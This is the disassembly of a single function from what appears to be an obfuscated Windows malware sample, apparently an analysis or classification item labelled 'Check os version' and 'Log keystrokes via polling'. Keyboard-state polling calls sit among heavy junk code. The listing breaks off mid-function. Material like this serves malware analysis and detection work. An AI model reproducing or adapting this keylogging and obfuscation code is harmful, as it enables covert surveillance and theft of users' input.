Function at 0x1003bd26
Capabilities:
Check os version
Log keystrokes via polling

Disassembly:
mov eax, 0x1005e0b0
call fcn.1005c6c0
sub esp, 0x508
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ebx
jmp 0x1003bd54
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f8], 0x1b3c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003bd43
mov dword [ebp - 0x1c], ebx
jmp 0x1003bd70
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb8], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1003bd5f
mov dword [ebp - 0xb8], 1
cmp dword [ebp - 0xb8], ebx
jl 0x1003bdbe
push ebx
lea eax, [ebp - 0x244]
mov dword [ebp - 0x1cc], ebx
push eax
push ecx
push ecx
mov dword [ebp - 0x244], 0xfffffffd
lea ecx, [ebp - 0x1cc]
call fcn.1003a582
mov eax, dword [ebp - 0x3f8]
add esp, 0x10
dec dword [ebp - 0xb8]
jns 0x1003bd88
push 0x4271
push 1
push ebx
push 0xcd3
push 0xdef
mov edx, 0x3274
mov cl, 1
call fcn.10038887
mov eax, dword [0x102c5654]
xor ecx, ecx
inc ecx
add esp, 0x14
test cl, al
jne 0x1003be21
or eax, ecx
mov dword [0x102c5654], eax
mov dword [ebp - 4], ebx
mov dword [0x102c5674], ebx
mov dword [0x102c5678], ebx
call fcn.1003f58a
push 0x1005e37e
mov dword [0x102c5674], eax
call fcn.10045f43
pop ecx
or edi, 0xffffffff
xor ecx, ecx
mov dword [ebp - 4], edi
inc ecx
jmp 0x1003be24
or edi, 0xffffffff
cmp byte [0x102c4114], 0
je 0x1003be3f
push 0xfce
xor cl, cl
call fcn.1003957c
pop ecx
jmp 0x1003f105
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], 0xb49d585e
mov dword [ebp - 0x2c], 0x89a5a40f
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x23c], 0xfededc87
mov dword [ebp - 0x1c], ebx
jmp 0x1003be76
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x390], 0x841b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003be65
mov dword [ebp - 0x1c], ebx
jmp 0x1003be8d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x514], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003be80
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jg 0x1003c0cf
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x228], 0x843046b6
mov dword [ebp - 0x224], 0x843046b6
mov dword [ebp - 0x220], 0x843046b6
mov dword [ebp - 0x21c], 0x843046b6
mov dword [ebp - 0x24], 0x33e6
cmp dword [ebp - 0x24], 0x343c
jle 0x1003bf6b
push 0x67b
push ebx
push 0x214a
push 0x2222
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov eax, edi
mov dword [ebp - 0x4c], ebx
mov ecx, esi
mov edi, ebx
shl eax, cl
mov dword [ebp - 0x3c], eax
mov esi, ebx
mov ebx, dword [ebp - 0x3c]
mov eax, esi
mov ecx, 0x10077cb8
and eax, edi
or eax, ebx
cdq
push edx
push eax
call fcn.1000651b
inc esi
cmp esi, 0x6b2e
jl 0x1003bf1f
inc edi
push 0
pop ebx
cmp edi, 0x5b98
jl 0x1003bf1a
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x1bc8
jl 0x1003bf0c
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x1965
jl 0x1003bf07
xor ecx, ecx
inc ecx
or edi, 0xffffffff
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x24], 0x3107
jge 0x1003bfa7
mov edx, str.obafsjtq_trdcgjhsq_ctgimsv_zpofmmg
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003bfa7
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1003c0aa
mov dword [ebp - 0x2c], 0x464f16ef
mov dword [ebp - 0x2c], 0x37182abb
mov dword [ebp - 0x38], 0x55cd
cmp dword [ebp - 0x38], 0x56b5
jle 0x1003bffd
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10077cb8
cdq
push edx
push eax
call fcn.1000651b
inc edi
cmp edi, 0x53b2
jl 0x1003bfd8
inc esi
cmp esi, 0x41d3
jl 0x1003bfd6
or edi, 0xffffffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 3
cmp dword [ebp - 0x38], 0x526b
jge 0x1003c040
mov edx, str.ztgabfxg_lhmk_fhmmtgac_vpy_mwedibmmr_qeqercuas_jpj_rjqeldebe_nzwx_szfbbi_iwinphl_nkmjffcnb
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003c040
push 2
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 4], edi
call fcn.10006ab6
push ecx
lea eax, [ebp - 0x3ac]
mov dword [ebp - 4], 5
push eax
lea eax, [ebp - 0x3dc]
mov dword [ebp - 0x2c], 1
push eax
push ecx
mov dl, 1
call fcn.1003844c
add esp, 0x10
lea eax, [ebp - 0x23c]
mov edx, 0x4a8c
push 0x1637
push ecx
push eax
mov cl, 1
call fcn.10039d11
add esp, 0xc
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x3ac]
call fcn.10006b13
dec dword [ebp - 0x24]
jmp 0x1003bfad
push 0x38d6
push 1
mov byte [ebp - 0x66], bl
lea ecx, [ebp - 0x66]
push 0x322c
call fcn.100384ac
add esp, 0xc
xor ecx, ecx
inc dword [ebp - 0x18]
inc ecx
jmp 0x1003be96
push 0x3162
push 0x719a
push ecx
push 0x4004
mov dl, cl
call fcn.10038506
add esp, 0xc
mov edx, 0x203c
mov ecx, 0x102c4114
push ebx
call fcn.10039787
mov dword [ebp - 0x20], 0xa0256915
mov dword [ebp - 0x18], 0x1ad386cc
mov dword [ebp - 0x1c], 0xd53b
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x34], 0x717b
cmp dword [ebp - 0x34], 0x744c
pop ecx
pop ecx
jle 0x1003c182
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x38], ebx
lea eax, [esi + edi]
shl eax, cl
lea ecx, [ebp - 0x4d4]
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003c149
mov eax, dword [eax]
push eax
call fcn.10045f6d
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d4]
call fcn.10007132
mov ecx, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x6d1e
jl 0x1003c12c
inc esi
cmp esi, 0x3aa3
jl 0x1003c127
inc edi
cmp edi, 0x25ef
jl 0x1003c125
or edi, 0xffffffff
mov dword [ebp - 0x38], 0x293cc9d6
cmp dword [ebp - 0x34], 0x6e66
jge 0x1003c19d
push str.pim_hnwxq_wzzrds_fzrk_etrfozvq_xmt_njfljaiid_hisk_bwqhuywg_gflopokj_pomkbeg_ooljzfyh_gosa
call fcn.10045f6d
pop ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x18], ebx
jmp 0x1003c1bd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf0], 0x47a6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003c1ac
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
je 0x1003c225
mov dword [ebp - 0x38], 0xa53061ec
mov dword [ebp - 0x1c], ebx
jmp 0x1003c21a
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 5
setge al
imul edx, dword [ebp - 0x38], 0xffff
sub edx, eax
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xf0]
inc edx
cmp eax, edx
setl cl
neg ecx
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1003c1e0
jmp 0x1003c3d3
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x118], 0x9716e289
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 2
jg 0x1003c3a0
mov dword [ebp - 0x3c], 0xfff9
mov dword [ebp - 0x24], 0x207
cmp dword [ebp - 0x24], 0x375
jle 0x1003c2d2
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ecx, esi
mov dword [ebp - 0x4c], edi
mov esi, edi
mov dword [ebp - 0x54], ebx
sar esi, cl
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x4a4]
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003c293
mov eax, dword [eax]
push eax
call fcn.10045f6d
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a4]
call fcn.10007132
inc edi
cmp edi, 0x65b0
jl 0x1003c275
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x2bbc
jl 0x1003c267
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x3160
jl 0x1003c262
or edi, 0xffffffff
mov dword [ebp - 0x54], 6
cmp dword [ebp - 0x24], 0xa2
jge 0x1003c2ed
push str.zcl_tqzuq_hcwivver_feijsv_bzvwice_dkk
call fcn.10045f6d
pop ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x4c], 0xdbf12959
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xf0], ebx
je 0x1003c382
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xf0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xf0], 0xc6a81d68
jb 0x1003c336
cmp dword [ebp - 0x18], ebx
je 0x1003c336
xor edx, edx
inc edx
jmp 0x1003c338
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xf0]
cmp eax, edx
setg cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffffd
setne cl
sub ecx, dword [ebp - 0xe8]
cmp ecx, 0x2c7e
jge 0x1003c36f
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xf0]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
je 0x1003c382
xor edx, edx
inc edx
jmp 0x1003c384
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xf0]
cmp edx, eax
setle cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x20]
jmp 0x1003c235
push 0x55c0
push 1
push 0x6d88
push 0x1228
push 0x3205
lea eax, [ebp - 0x118]
mov edx, 0x2a0b
push eax
push 1
push 1
mov ecx, 0x23c6
call fcn.100385da
add esp, 0x20
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x1003c479
push 1
lea ecx, [ebp - 0x370]
call fcn.10006ab6
sub esp, 0x10
mov dword [ebp - 4], 0xa
lea eax, [ebp - 0x370]
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x54], 6
xor dl, dl
push 0x4fd0
push 0x1970
push eax
push ecx
push ecx
lea ecx, [ebp - 0x3e0]
call fcn.1003bb31
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
inc ecx
add esp, 0x24
mov eax, dword [ebp + eax*4 - 0xf0]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0xf0]
je 0x1003c44f
cmp dword [ebp - 0x40], ebx
jne 0x1003c44f
mov ecx, ebx
jmp 0x1003c452
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf0]
imul eax, ecx
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], edi
call fcn.10006b13
dec dword [ebp - 0x1c]
jns 0x1003c3e3
mov dword [ebp - 0x28], 0x10074af0
mov dword [ebp - 0x18], ebx
jmp 0x1003c496
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x29c], 0xcb457102
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003c485
mov dword [ebp - 0x34], 0x7ff7
cmp dword [ebp - 0x34], 0x80e2
jle 0x1003c508
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov eax, esi
cdq
idiv ecx
mov ecx, 0x10077cb8
and edx, ebx
and edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000651b
mov ecx, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x5aa7
jl 0x1003c4bb
inc esi
push 0
pop ebx
cmp esi, 0x66d2
jl 0x1003c4b3
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x2faa
jl 0x1003c4b1
inc edi
cmp edi, 0xbde
jl 0x1003c4ae
or edi, 0xffffffff
push 0x5702
push ecx
push 0xade
push ecx
lea eax, [ebp - 0x69]
mov byte [ebp - 0x69], bl
push eax
push 0xb67
mov dl, 1
call fcn.10038697
add esp, 0x18
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x34], 0x7c6e
jge 0x1003c56a
mov edx, str.irpak_sdsxaerh_beomvi
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003c56a
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0x1c], 0x1bf506e6
mov dword [ebp - 0x3c], 0x9822cb3a
mov dword [ebp - 0x38], 0xd686a37b
mov dword [ebp - 0x24], 0xb275cf8
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x18], ebx
jmp 0x1003c5b1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x58], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1003c5a7
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], 0x3607a988
mov eax, dword [ebp - 0x38]
cmp eax, 0x5f5
setle cl
xor edx, edx
imul eax, ecx, 0x413e
test eax, eax
mov eax, dword [ebp - 0x3c]
setg dl
neg eax
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x58]
setg cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x58]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x3c]
add eax, 0xfffffff8
add ecx, eax
je 0x1003c6c7
mov dword [ebp - 0x38], 0x29bad2ce
lea ecx, [ebp - 0x330]
push 1
call fcn.10006ab6
lea eax, [ebp - 0x3f0]
mov dword [ebp - 4], 0xd
push eax
push ecx
push ecx
push 1
lea edx, [ebp - 0x330]
call fcn.100386d5
mov dword [ebp - 0x1c], ebx
add esp, 0x10
cmp dword [ebp - 0x1c], ebx
jl 0x1003c6b7
mov dword [ebp - 0x2c], 0xf8616691
xor edx, edx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x40], 0x52c43da4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x58], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x330]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setne dl
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
je 0x1003c6a0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x58], edi
jge 0x1003c6a8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0xffff000f
dec dword [ebp - 0x1c]
jns 0x1003c658
lea ecx, [ebp - 0x330]
mov dword [ebp - 4], edi
call fcn.10006b13
jmp 0x1003c6e5
cmp dword [ebp - 0x40], ebx
je 0x1003c6d6
cmp dword [ebp - 0x1c], ebx
je 0x1003c6d6
xor ecx, ecx
inc ecx
jmp 0x1003c6d8
mov ecx, ebx
mov eax, dword [ebp - 0x58]
add eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x28]
push 0xc
pop ecx
mov dword [ebp - 0xcc], ecx
cmp ecx, 0xe0
jge 0x1003cb1a
push 1
lea ecx, [ebp - 0x348]
call fcn.10006ab6
push ecx
push 1
lea eax, [ebp - 0x7c]
mov dword [ebp - 4], 0xe
push eax
push ecx
mov dword [ebp - 0x1d0], 0xb4e94f93
lea edx, [ebp - 0x348]
mov dword [ebp - 0x1d8], 0xfffffffc
push 0x49eb
call fcn.100387db
add esp, 0x14
mov dword [ebp - 0x7c], ebx
jmp 0x1003c756
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x3fc], 0x4d89bb64
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 1
jl 0x1003c745
lea eax, [ebp - 0x1d0]
xor dl, dl
push eax
lea eax, [ebp - 0x1d8]
push eax
push 0x732e
push 0x3a86
push ecx
push ecx
push 0x45da
push 0x29c
push ecx
lea ecx, [ebp - 0x348]
call fcn.10037f4f
add esp, 0x24
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x348]
call fcn.10006b13
mov ecx, dword [ebp - 0xcc]
mov al, byte [esi]
cmp al, byte [ecx + 0x10074af0]
je 0x1003c7b5
inc ecx
jmp 0x1003c6eb
push 0x5258
push 1
push 0x29d
lea eax, [ebp - 0xcc]
mov edx, 0x671f
push eax
lea eax, [ebp - 0xe4]
mov ecx, 0x7403
push eax
push 0x43d7
push ebx
push 1
call fcn.100385da
xor eax, eax
mov dword [ebp - 0x124], 0xfffffff8
add esp, 0x20
lea ecx, [ebp - 0x258]
inc eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x78], 0xa2ef703c
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0x64], 0x96559653
push eax
call fcn.10006ab6
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x18], 0xf23
cmp dword [ebp - 0x18], 0x1049
jle 0x1003c8ac
mov dword [ebp - 0x34], ebx
mov ecx, ebx
mov dword [ebp - 0x38], 0x341e
mov dword [ebp - 0x24], ecx
mov edi, ebx
mov esi, ebx
mov eax, ecx
lea ecx, [ebp - 0x4bc]
or eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003c864
mov eax, dword [eax]
push eax
call fcn.10045f6d
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4bc]
call fcn.10007132
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x1dd8
jl 0x1003c846
inc edi
cmp edi, 0x181
jl 0x1003c844
mov eax, dword [ebp - 0x34]
add ecx, eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
jne 0x1003c842
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x5f96
jl 0x1003c836
mov esi, dword [ebp - 0x28]
or edi, 0xffffffff
mov dword [ebp - 0x1f0], edi
cmp dword [ebp - 0x18], 0xe0e
jge 0x1003c8c6
push str.camds_wnrugchcw_hqu_liwgq_teughmk_fqz_wybpgbrvs_brzz
call fcn.10045f6d
pop ecx
push 0x13f8
xor eax, eax
mov dword [ebp - 4], 0xf
inc eax
mov dword [ebp - 0x2c], 0x3aa7a66b
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x2c], eax
push ecx
push eax
push 0x4177
push 0x195
mov dword [ebp - 0x2c], 0xfffffff7
lea edx, [ebp - 0x38c]
push ebx
mov dword [ebp - 0x2c], ebx
mov ecx, 0x5d80
mov dword [ebp - 0x1f8], 0x98a20b4d
push eax
call fcn.100381c1
add esp, 0x18
lea eax, [ebp - 0x64]
xor dl, dl
push eax
lea eax, [ebp - 0xd4]
push eax
push ecx
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x124]
push eax
push ecx
mov ecx, 0x30eb
call fcn.1003964a
add esp, 0x20
mov dword [ebp - 0x78], ebx
jmp 0x1003cb03
mov dword [ebp - 0x120], 0xd6e511af
mov dword [ebp - 0x1e8], 1
mov dword [ebp - 0x2c], 0xda5c12bb
mov dword [ebp - 0x2c], 0xc9828a5d
mov dword [ebp - 0x18], ebx
jmp 0x1003c988
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3c8], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1003c977
mov dword [ebp - 0x64], ebx
jmp 0x1003cab3
lea eax, [ebp - 0x72]
mov dword [ebp - 0x1e0], 0xfffffffb
push eax
push 1
push 1
push 0x705e
mov dword [ebp - 0x104], edi
mov edx, 0x7d48
mov byte [ebp - 0x72], bl
mov cl, 1
push 0x406
call fcn.10038887
add esp, 0x14
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x9c], ebx
jl 0x1003cab0
push 2
lea ecx, [ebp - 0x3c4]
call fcn.10006ab6
lea eax, [ebp - 0x3c4]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x3d8]
mov ecx, 0x6b5d
push ebx
push eax
call fcn.100384ac
pop ecx
pop ecx
lea eax, [ebp - 0x258]
push eax
push 1
push 0x5f2a
lea eax, [ebp - 0xd4]
push eax
push 1
lea eax, [ebp - 0x78]
push eax
push 0x25f7
lea eax, [ebp - 0x120]
push 1
push eax
lea edx, [ebp - 0x1e0]
lea ecx, [ebp - 0x104]
call fcn.10038afc
add esp, 0x28
lea eax, [ebp - 0x1e8]
lea edx, [ebp - 0x1f0]
push eax
push ecx
push ebx
lea eax, [ebp - 0x258]
push eax
sub esp, 0xc
lea eax, [ebp - 0x104]
push eax
push ecx
push 0x39ec
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x120]
push eax
push ecx
push 0x5a40
sub esp, 0xc
lea eax, [ebp - 0x64]
push eax
call fcn.10039a02
add esp, 0x4c
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3c4]
call fcn.10006b13
dec dword [ebp - 0x9c]
jns 0x1003c9dc
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], ebx
jle 0x1003c996
push 0x601b
push 0x5132
lea eax, [ebp - 0x1f8]
mov edx, 0x30dc
push eax
push 0x3d5e
push 0x5a24
push 0x19ec
push ebx
push 1
push 0x5bdf
push 0x6292
push 0x624b
push 1
push 0x3e
pop ecx
call fcn.10039c17
add esp, 0x30
inc dword [ebp - 0x78]
cmp dword [ebp - 0x78], ebx
jle 0x1003c950
lea ecx, [ebp - 0x258]
mov dword [ebp - 4], edi
call fcn.10006b13
push 0x307a
mov dword [ebp - 0x200], 0xc692beaa
push ebx
call fcn.1003a5b2
pop ecx
pop ecx
lea eax, [ebp - 0x200]
mov edx, 0x252f
push eax
push ecx
push 0x27a6
push 0x82e
push ecx
mov cl, 1
call fcn.10039319
mov al, byte [0x10074bd0]
add esp, 0x14
mov byte [ebp - 0xc8], al
mov dword [ebp - 0x18], 0x3342eb9
mov dword [ebp - 0x18], 0x13
jmp 0x1003cb8a
push ecx
mov dl, 1
call fcn.10039466
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
pop ecx
je 0x1003cb87
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe8
jge 0x1003cb6e
mov dl, byte [esi]
mov cl, byte [0x10074bd0]
call fcn.1003f5e0
xor esi, esi
mov byte [0x10074bd0], al
inc esi
mov dword [ebp - 0x24], esi
mov al, byte [esi + 0x10074bd0]
lea ecx, [ebp - 0x2d0]
push 3
pop esi
push esi
mov byte [ebp - 0x4d], al
call fcn.10006ab6
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x40], 0x2db8e964
mov dword [ebp - 0x20], ebx
jmp 0x1003cbe4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x440], 0x887c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003cbd3
mov dword [ebp - 0x20], ebx
jmp 0x1003cc01
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d0]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003cbee
mov esi, dword [ebp - 0x2d0]
xor ecx, ecx
mov dword [ebp - 0x43c], 0x7d45db34
mov dword [ebp - 0x40], ebx
mov eax, dword [esi]
imul eax, eax
cmp eax, dword [esi]
setg cl
xor edx, edx
inc edx
sub edx, ecx
dec edx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, dword [esi]
setne al
sub eax, 0x235d8d77
mov dword [esi], eax
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1003cc7d
push ecx
push 0x4628
push 1
push 0x7cdb
push 0x7eb3
push 1
push 0x2185
push 0x4930
push ebx
push 0x12f5
mov edx, 0x4637
mov ecx, 0x1264
call fcn.10038afc
add esp, 0x28
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 4], edi
call fcn.10006b13
mov eax, dword [ebp - 0x24]
cdq
idiv dword [ebp - 0xe4]
mov cl, byte [ebp - 0x4d]
mov esi, edx
mov dl, byte [ebp - 0xc8]
call fcn.1003f5e0
mov dl, byte [esi + 0x10074af0]
mov cl, al
call fcn.1003f5e0
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x27c]
push 3
mov byte [esi + 0x10074bd0], al
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], 0xc41ac3dc
mov dword [ebp - 0x164], 0xffff
mov dword [ebp - 0x160], 0xffff
mov dword [ebp - 0x15c], 0xffff
mov dword [ebp - 0x158], 0xffff
mov dword [ebp - 0x3c], 0xd908fbde
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x54], 9
call fcn.10006ab6
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x8c], ebx
jmp 0x1003cd35
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x44], 0xf5ed9a92
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 1
jl 0x1003cd21
push 0x6a9b
push ebx
push ebx
lea eax, [ebp - 0x8c]
mov edx, 0x1e0e
push eax
lea eax, [ebp - 0x27c]
mov cl, 1
push eax
call fcn.10038887
mov eax, dword [ebp - 0x44]
add esp, 0x14
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor edx, edx
neg ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
add eax, 0xbef
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle cl
xor edx, edx
test ecx, ecx
setns dl
add eax, edx
mov dword [ebp - 0x15c], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete cl
xor edx, edx
add ecx, 0x55c0
cmp ecx, eax
setg dl
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x20], ebx
je 0x1003ce39
cmp dword [ebp - 0x3c], ebx
je 0x1003cded
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x160]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
